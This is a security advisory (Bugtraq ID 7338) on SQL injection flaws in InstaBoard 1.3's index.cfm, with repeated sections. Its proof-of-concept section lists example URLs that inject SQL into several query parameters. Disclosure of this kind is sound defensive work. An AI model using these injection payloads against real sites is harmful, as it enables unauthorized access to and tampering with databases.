InstaBoard Index.CFM SQL Injection Vulnerability
BID:7338
Info
InstaBoard Index.CFM SQL Injection Vulnerability
| Bugtraq ID: | 7338 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 14 2003 12:00AM |
| Updated: | Apr 14 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Jim Dew <[email protected]>. |
| Vulnerable: |
InstaBoard InstaBoard 1.3 |
| Not Vulnerable: | |
Discussion
InstaBoard Index.CFM SQL Injection Vulnerability
It has been reported that multiple input validation errors exist in the index.cfm file included with InstaBoard. Because of this issue, remote attackers may launch SQL injection attacks through the software.
The consequences may vary depending on the particular database implementation and the nature of the specific queries. SQL injection also makes it possible, under some circumstances, to exploit latent vulnerabilities that may exist in the underlying database.
It should be noted that although this vulnerability has been reported to affect InstaBoard version 1.3 previous versions might also be affected.
It has been reported that multiple input validation errors exist in the index.cfm file included with InstaBoard. Because of this issue, remote attackers may launch SQL injection attacks through the software.
The consequences may vary depending on the particular database implementation and the nature of the specific queries. SQL injection also makes it possible, under some circumstances, to exploit latent vulnerabilities that may exist in the underlying database.
It should be noted that although this vulnerability has been reported to affect InstaBoard version 1.3 previous versions might also be affected.
Exploit / POC
InstaBoard Index.CFM SQL Injection Vulnerability
The following proof of concept was provided:
http://www.example.com/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://www.example.com/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://www.example.com/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://www.example.com/instaboard/index.cfm?catid=1%20SQL
The following proof of concept was provided:
http://www.example.com/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://www.example.com/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://www.example.com/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://www.example.com/instaboard/index.cfm?catid=1%20SQL
Solution / Fix
InstaBoard Index.CFM SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
InstaBoard Index.CFM SQL Injection Vulnerability
References:
References:
- Instaboard 1.3 SQL Injection (Jim Dew